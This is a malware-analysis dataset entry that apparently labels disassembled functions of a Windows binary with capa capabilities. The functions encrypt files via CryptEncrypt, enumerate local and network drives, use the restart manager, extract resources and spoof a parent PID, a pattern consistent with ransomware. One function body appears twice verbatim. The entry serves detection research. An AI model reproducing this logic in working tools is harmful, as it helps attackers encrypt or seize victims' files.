joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400190a0
Capabilities:
Encrypt or decrypt via wincrypt
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xa0
mov r15, r8
mov rsi, rdx
mov r14, rcx
xor r12d, r12d
mov dword [rbp + 0x7f], r12d
mov dword [rbp + 0x67], r12d
mov rdx, qword [rcx]
lea rcx, [rbp - 9]
call fcn.140014e60
nop
mov rax, qword [r14 + 8]
mov rbx, qword [rax]
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x21], xmm0
mov edi, r12d
mov qword [rbp - 0x11], r12
test rbx, rbx
je 0x140019130
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x140019270
mov rdx, rbx
lea rcx, [rbp - 0x21]
call fcn.140009a50
mov r8, rbx
xor edx, edx
mov rbx, qword [rbp - 0x21]
mov rcx, rbx
call fcn.140047180
mov rdi, qword [rbp - 0x11]
jmp 0x140019134
mov rbx, qword [rbp - 0x21]
mov qword [rbp + 0xf], r12
mov qword [rbp + 0x17], r12
mov qword [rbp + 0x27], r12
mov dword [rbp + 0x1f], esi
shr rsi, 0x20
mov dword [rbp + 0x23], esi
mov rax, qword [r14 + 0x10]
lea rcx, [rbp + 0xf]
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x67]
mov r8d, r15d
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400191fe
mov esi, dword [rbp + 0x67]
cmp rsi, r15
jne 0x1400191fe
xorps xmm0, xmm0
cvtsi2sd xmm0, rsi
mulsd xmm0, qword [0x140058090]
call fcn.14004695c
mulsd xmm0, qword [0x140058098]
cvttsd2si rax, xmm0
mov dword [rbp - 0x29], eax
test eax, eax
je 0x1400191d2
mov dword [rsp + 0x30], eax
lea rax, [rbp - 0x29]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp - 1]
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x1400191fe
mov esi, dword [rbp + 0x67]
mov rax, qword [r14 + 0x10]
lea rcx, [rbp + 0xf]
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x7f]
mov r8d, esi
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1400191fe
mov esi, dword [rbp + 0x67]
cmp dword [rbp + 0x7f], esi
je 0x140019201
mov esi, r12d
test rbx, rbx
je 0x140019236
sub rdi, rbx
mov rax, rbx
cmp rdi, 0x1000
jb 0x14001922a
add rdi, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001926a
mov rdx, rdi
mov rcx, rbx
call fcn.140024d64
nop
mov rcx, qword [rbp - 1]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
xor edx, edx
mov rcx, qword [rbp - 9]
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, esi
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
call fcn.1400360b4
nop
call fcn.1400062f0
int3
mov rdx, rcx
add rcx, 0x18
mov r8, qword [rdx + 8]
mov rdx, qword [rdx + 0x10]
jmp 0x1400190a0
Function at 0x14001fd40
Capabilities:
Create restart manager session
Encrypt or decrypt via wincrypt
Enumerate processes that use resource
Move file
Read file on windows
Write file on windows

Disassembly:
mov rcx, qword [rcx + 8]
jmp fcn.1400180c0

Function at 0x140020ba0
Capabilities:
Encrypt or decrypt via wincrypt
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xa0
mov r15, r8
mov rsi, rdx
mov r14, rcx
xor r12d, r12d
mov dword [rbp + 0x7f], r12d
mov dword [rbp + 0x67], r12d
mov rdx, qword [rcx]
lea rcx, [rbp - 9]
call fcn.140014e60
nop
mov rax, qword [r14 + 8]
mov rbx, qword [rax]
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x21], xmm0
mov edi, r12d
mov qword [rbp - 0x11], r12
test rbx, rbx
je 0x140019130
movabs rax, 0x7fffffffffffffff
cmp rbx, rax
ja 0x140019270
mov rdx, rbx
lea rcx, [rbp - 0x21]
call fcn.140009a50
mov r8, rbx
xor edx, edx
mov rbx, qword [rbp - 0x21]
mov rcx, rbx
call fcn.140047180
mov rdi, qword [rbp - 0x11]
jmp 0x140019134
mov rbx, qword [rbp - 0x21]
mov qword [rbp + 0xf], r12
mov qword [rbp + 0x17], r12
mov qword [rbp + 0x27], r12
mov dword [rbp + 0x1f], esi
shr rsi, 0x20
mov dword [rbp + 0x23], esi
mov rax, qword [r14 + 0x10]
lea rcx, [rbp + 0xf]
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x67]
mov r8d, r15d
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x1400191fe
mov esi, dword [rbp + 0x67]
cmp rsi, r15
jne 0x1400191fe
xorps xmm0, xmm0
cvtsi2sd xmm0, rsi
mulsd xmm0, qword [0x140058090]
call fcn.14004695c
mulsd xmm0, qword [0x140058098]
cvttsd2si rax, xmm0
mov dword [rbp - 0x29], eax
test eax, eax
je 0x1400191d2
mov dword [rsp + 0x30], eax
lea rax, [rbp - 0x29]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp - 1]
call qword [sym.imp.ADVAPI32.dll_CryptEncrypt]
test eax, eax
je 0x1400191fe
mov esi, dword [rbp + 0x67]
mov rax, qword [r14 + 0x10]
lea rcx, [rbp + 0xf]
mov qword [rsp + 0x20], rcx
lea r9, [rbp + 0x7f]
mov r8d, esi
mov rdx, rbx
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x1400191fe
mov esi, dword [rbp + 0x67]
cmp dword [rbp + 0x7f], esi
je 0x140019201
mov esi, r12d
test rbx, rbx
je 0x140019236
sub rdi, rbx
mov rax, rbx
cmp rdi, 0x1000
jb 0x14001922a
add rdi, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001926a
mov rdx, rdi
mov rcx, rbx
call fcn.140024d64
nop
mov rcx, qword [rbp - 1]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
xor edx, edx
mov rcx, qword [rbp - 9]
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, esi
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
call fcn.1400360b4
nop
call fcn.1400062f0
int3
mov rdx, rcx
add rcx, 0x18
mov r8, qword [rdx + 8]
mov rdx, qword [rdx + 0x10]
jmp 0x1400190a0
Function at 0x140021510
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 8], rcx
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0x90
mov rbx, rcx
xor r15d, r15d
mov dword [rbp - 0x19], r15d
mov qword [rcx], r15
mov qword [rcx + 8], r15
mov qword [rcx + 0x10], r15
mov esi, 1
mov dword [rbp - 0x19], esi
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov r14d, eax
mov edi, r15d
movabs r12, 0x7ffffffffffffffe
bt r14d, edi
jae 0x1400216d7
xorps xmm0, xmm0
movups xmmword [rbp - 0x11], xmm0
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov r8d, 2
lea rdx, [0x140057d5c]
lea rcx, [rbp - 0x11]
call fcn.140001fa0
nop
lea rax, [rbp - 0x11]
cmp qword [rbp + 7], 7
cmova rax, qword [rbp - 0x11]
add word [rax], di
lea rcx, [rbp - 0x11]
cmp qword [rbp + 7], 7
cmova rcx, qword [rbp - 0x11]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
lea ecx, [rax - 2]
test ecx, 0xfffffffa
jne 0x14002169b
cmp eax, 7
je 0x14002169b
mov rax, r12
mov rcx, qword [rbp - 1]
sub rax, rcx
cmp rax, 4
jb 0x140021701
lea rax, [rbp - 0x11]
cmp qword [rbp + 7], 7
cmova rax, qword [rbp - 0x11]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 4
lea r9, [0x140055298]
lea rcx, [rbp + 0xf]
call fcn.140008a80
or esi, 2
mov dword [rbp - 0x19], esi
mov rdx, qword [rbp + 7]
cmp rdx, 7
jbe 0x14002165e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x11]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140021659
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002170d
call fcn.140024d64
movups xmm0, xmmword [rbp + 0xf]
movups xmmword [rbp - 0x11], xmm0
movups xmm1, xmmword [rbp + 0x1f]
movups xmmword [rbp - 1], xmm1
mov rax, qword [rbx + 8]
cmp rax, qword [rbx + 0x10]
je 0x14002168b
lea rdx, [rbp - 0x11]
mov rcx, rax
call fcn.1400021f0
add qword [rbx + 8], 0x20
jmp 0x14002169b
lea r8, [rbp - 0x11]
mov rdx, rax
mov rcx, rbx
call fcn.140022d80
nop
mov rdx, qword [rbp + 7]
cmp rdx, 7
jbe 0x1400216d7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x11]
cmp rdx, 0x1000
mov rax, rcx
jb 0x1400216d2
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140021707
call fcn.140024d64
inc edi
cmp edi, 0x1a
jb 0x140021566
mov rax, rbx
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
call fcn.1400016e0
nop
call fcn.1400360b4
nop
call fcn.1400360b4
int3
Function at 0x140021720
Capabilities:
Get disk information

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
mov qword [rsp + 8], rcx
push rbp
push rdi
push r14
lea rbp, [rsp - 0x780]
sub rsp, 0x880
mov rbx, rcx
xor r14d, r14d
mov dword [rsp + 0x40], r14d
mov qword [rcx], r14
mov qword [rcx + 8], r14
mov qword [rcx + 0x10], r14
mov dword [rsp + 0x40], 1
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov esi, eax
mov edi, r14d
nop dword [rax + rax]
bt esi, edi
jae 0x140021912
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x38], r14
mov r8d, 2
lea rdx, [0x140057d5c]
lea rcx, [rsp + 0x20]
call fcn.140001fa0
nop
lea rax, [rsp + 0x20]
cmp qword [rsp + 0x38], 7
cmova rax, qword [rsp + 0x20]
add word [rax], di
lea rcx, [rsp + 0x20]
cmp qword [rsp + 0x38], 7
cmova rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 4
jne 0x1400218d4
mov dword [rbp + 0x7a8], 0x404
lea rcx, [rsp + 0x20]
cmp qword [rsp + 0x38], 7
cmova rcx, qword [rsp + 0x20]
lea r8, [rbp + 0x7a8]
lea rdx, [rsp + 0x70]
call qword [sym.imp.MPR.dll_WNetGetConnectionW]
test eax, eax
jne 0x1400218c5
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], r14
lea rax, [rsp + 0x70]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140021830
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x48]
call fcn.140001fa0
nop
mov rdx, qword [rbx + 8]
cmp rdx, qword [rbx + 0x10]
je 0x140021878
movups xmm0, xmmword [rsp + 0x48]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rsp + 0x58]
movups xmmword [rdx + 0x10], xmm1
mov edx, 7
mov word [rsp + 0x48], r14w
add qword [rbx + 8], 0x20
jmp 0x14002188a
lea r8, [rsp + 0x48]
mov rcx, rbx
call fcn.14000c1e0
mov rdx, qword [rsp + 0x60]
cmp rdx, 7
jbe 0x1400218d4
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400218be
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140021938
call fcn.140024d64
jmp 0x1400218d4
mov edx, eax
lea rcx, str.____WNetGetConnection_failed_0x_X_n
call fcn.140001e00
nop
mov rdx, qword [rsp + 0x38]
cmp rdx, 7
jbe 0x140021912
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x20]
cmp rdx, 0x1000
mov rax, rcx
jb 0x14002190d
mov rcx, qword [rcx - 8]
sub rax, rcx
add rdx, 0x27
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002193e
call fcn.140024d64
inc edi
cmp edi, 0x1a
jb 0x140021770
mov rax, rbx
lea r11, [rsp + 0x880]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
call fcn.1400360b4
nop
call fcn.1400360b4
int3
Function at 0x140021f80
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x40
mov r14, rcx
xor r12d, r12d
mov rsi, qword [r8]
mov r8, rsi
lea edx, [r12 + 0x65]
lea rcx, str.____Get_resource_with_id__i_and_type__s..._n
call fcn.140001e00
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rbx, rax
test rax, rax
je 0x140022106
mov r8, rsi
lea edx, [r12 + 0x65]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdi, rax
test rax, rax
je 0x140022106
mov rdx, rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LoadResource]
test rax, rax
je 0x140022106
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbp, rax
test rax, rax
je 0x140022106
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x28], xmm0
mov esi, r12d
mov qword [rsp + 0x38], r12
test eax, eax
je 0x140022067
mov edx, ebx
lea rcx, [rsp + 0x28]
call fcn.140009a50
mov r8d, ebx
xor edx, edx
mov rdi, qword [rsp + 0x28]
mov rcx, rdi
call fcn.140047180
lea r15, [rbx + rdi]
mov qword [rsp + 0x30], r15
mov rsi, qword [rsp + 0x38]
jmp 0x140022071
mov r15, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x28]
sub r15, rdi
mov r8, r15
mov rdx, rbp
mov rcx, rdi
call fcn.140046ae0
mov byte [r14], 1
mov qword [r14 + 8], r12
mov qword [r14 + 0x10], r12
mov qword [r14 + 0x18], r12
test r15, r15
je 0x1400220d0
movabs rax, 0x7fffffffffffffff
cmp r15, rax
ja 0x140022151
mov rdx, r15
lea rcx, [r14 + 8]
call fcn.140009a50
mov rbx, qword [r14 + 8]
mov r8, r15
mov rdx, rdi
mov rcx, rbx
call fcn.140046ae0
lea rax, [r15 + rbx]
mov qword [r14 + 0x10], rax
test rdi, rdi
je 0x140022129
sub rsi, rdi
mov rax, rdi
cmp rsi, 0x1000
jb 0x1400220f9
add rsi, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14002214b
mov rdx, rsi
mov rcx, rdi
call fcn.140024d64
jmp 0x140022129
mov r8, rsi
mov edx, 0x65
lea rcx, str.____Resource_with_id__i_and_type__s_not_found_n
call fcn.140001e00
mov byte [r14], r12b
mov qword [r14 + 8], r12
mov qword [r14 + 0x10], r12
mov qword [r14 + 0x18], r12
mov rax, r14
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r12
ret
call fcn.1400360b4
nop
call fcn.1400062f0
nop
int3
Function at 0x140022160
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0xe0
cmp qword [rcx + 0x18], 7
lea r14, [rcx + 0x18]
mov rbx, rcx
mov rdx, rcx
jbe 0x14002218c
mov rdx, qword [rcx]
lea rcx, str.____Run_sync_command:__s_n
mov qword [rsp + 0xf0], rdi
call fcn.140001e00
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x68
xor eax, eax
mov rdx, rbx
cmp qword [rbx + 0x18], 7
movups xmmword [rsp + 0x78], xmm0
mov qword [rsp + 0x60], rax
movups xmmword [rsp + 0x88], xmm0
movups xmmword [rsp + 0x98], xmm0
movups xmmword [rsp + 0xa8], xmm0
movups xmmword [rsp + 0xb8], xmm0
movups xmmword [rsp + 0xc8], xmm0
movups xmmword [rsp + 0x50], xmm0
jbe 0x1400221f7
mov rdx, qword [rbx]
lea rdi, [rbx + 0x18]
jmp 0x1400221fa
mov rdi, r14
xor ebp, ebp
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], ebp
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x1400222a8
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp qword [rbx + 0x18], 7
mov rdx, rbx
jbe 0x140022251
mov rdx, qword [rbx]
lea rsi, [rbx + 0x18]
jmp 0x140022254
mov rsi, rdi
mov r8d, eax
lea rcx, str.____Failed_to_run_sync_command:__s__error_0x_X_n
call fcn.140001e00
mov rdx, qword [r14]
cmp rdx, 7
jbe 0x1400222a4
mov rcx, qword [rbx]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x14002229c
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14002232b
mov rcx, r8
call fcn.140024d64
mov rdi, rsi
xor al, al
jmp 0x1400222fb
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rbx + 0x18]
cmp rdx, 7
jbe 0x1400222f9
mov rcx, qword [rbx]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x1400222f4
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14002232b
mov rcx, r8
call fcn.140024d64
mov al, 1
mov word [rbx], bp
lea r11, [rsp + 0xe0]
mov rsi, qword [r11 + 0x28]
mov qword [rdi], 7
mov rdi, qword [rsp + 0xf0]
mov qword [rbx + 0x10], rbp
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsp, r11
pop r14
ret
call fcn.1400360b4
int3
Function at 0x140022750
Capabilities:
Create process on windows
Get explorer pid
Spoof parent pid

Disassembly:
mov qword [rsp + 8], rcx
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0xe0
mov rbx, rcx
mov rdx, rcx
lea rdi, [rcx + 0x18]
cmp qword [rcx + 0x18], 7
jbe 0x14002277a
mov rdx, qword [rcx]
lea rcx, str.____RunNonElevated:__s_n
call fcn.140001e00
call qword [sym.imp.USER32.dll_GetShellWindow]
lea rdx, [rsp + 0x128]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov r8d, dword [rsp + 0x128]
xor edx, edx
mov ecx, 0x80
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov qword [rsp + 0x138], rax
lea r9, [rsp + 0x130]
xor r8d, r8d
lea edx, [r8 + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
mov rcx, qword [rsp + 0x130]
call fcn.140024db0
mov r15, rax
lea r9, [rsp + 0x130]
xor r8d, r8d
lea edx, [r8 + 1]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
xor r12d, r12d
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], 8
lea r9, [rsp + 0x138]
xor edx, edx
mov r8d, 0x20000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rsp + 0x84], xmm0
movups xmmword [rsp + 0x94], xmm0
movups xmmword [rsp + 0xa4], xmm0
movups xmmword [rsp + 0xb4], xmm0
movups xmmword [rsp + 0xc4], xmm0
mov dword [rsp + 0xd4], eax
mov qword [rsp + 0xd8], r15
mov dword [rsp + 0x70], 0x70
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x140022880
mov rdx, qword [rbx]
jmp 0x140022884
lea rdi, [rbx + 0x18]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], 0x80010
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov r14d, eax
mov rbp, rdi
test eax, eax
jne 0x1400228ed
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rdx, rbx
cmp qword [rbx + 0x18], 7
jbe 0x1400228da
mov rdx, qword [rbx]
mov r8d, eax
lea rcx, str.____Failed_to_RunNonElevated:__s__error_0x_X_n
call fcn.140001e00
lea rbp, [rbx + 0x18]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r15
call fcn.140024d64
mov rcx, qword [rsp + 0x138]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r14d, r14d
setne sil
mov rdx, qword [rdi]
cmp rdx, 7
jbe 0x140022961
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbx]
mov rdi, rbp
cmp rdx, 0x1000
jb 0x14002295c
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140022986
mov rcx, r8
lea rdi, [rbx + 0x18]
call fcn.140024d64
mov qword [rbx + 0x10], r12
mov qword [rdi], 7
mov word [rbx], r12w
movzx eax, sil
add rsp, 0xe0
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
call fcn.1400360b4
int3
Function at 0x14002323c
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rbx, rdx
lea r8, [rsp + 0x60]
mov edi, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
test eax, eax
jne 0x140023276
xor r9d, r9d
mov dword [rsp + 0x60], r9d
jmp 0x14002327b
mov r9d, dword [rsp + 0x60]
and qword [rsp + 0x30], 0
mov r8d, edi
and dword [rsp + 0x28], 0
xor edx, edx
mov ecx, 0x1300
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x1400232c4
mov r8, qword [rbx]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x14004b830]
cmp byte [rcx + rax], 0
je 0x1400232c4
dec r8
sub rdx, 1
jne 0x1400232aa
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x140025898
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400258e2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400258e2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400258e2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400258e2
cmp dword [rcx + 0x84], 0xe
jbe 0x1400258e2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400258e4
xor al, al
add rsp, 0x28
ret

Function at 0x1400373a4
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, edx
mov rbp, rcx
test r8, r8
jne 0x1400373db
call fcn.1400371d8
mov dword [rax], 0x16
call fcn.140036094
xor eax, eax
jmp 0x140037469
mov rdx, r9
mov rcx, r8
call fcn.140037340
mov rbx, rax
test rax, rax
je 0x140037466
lea rax, [rsp + 0x50]
mov rdx, rsi
mov qword [rsp + 0x28], rax
lea r8, [0x14003726c]
mov eax, dword [rsp + 0x60]
mov r9, rbx
mov rcx, rbp
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x140037453
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.14003714c
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x14003743a
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x140037449
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rbx
call fcn.1400392ec
jmp 0x140037466
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x140037463
mov eax, dword [rsp + 0x50]
mov dword [rcx], eax
mov rdi, rdx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret

Function at 0x140037f80
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140037d7c
Function at 0x14003d964
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14003d97a
mov al, 1
jmp 0x14003d9da
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14003d98b
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14003d9d8
mov ecx, dword [rcx + 0x18]
nop
call fcn.14003fd78
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14003d9d8
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14003d9d8
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14003d9d8
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14003d9da
xor al, al
add rsp, 0x20
pop rbx
ret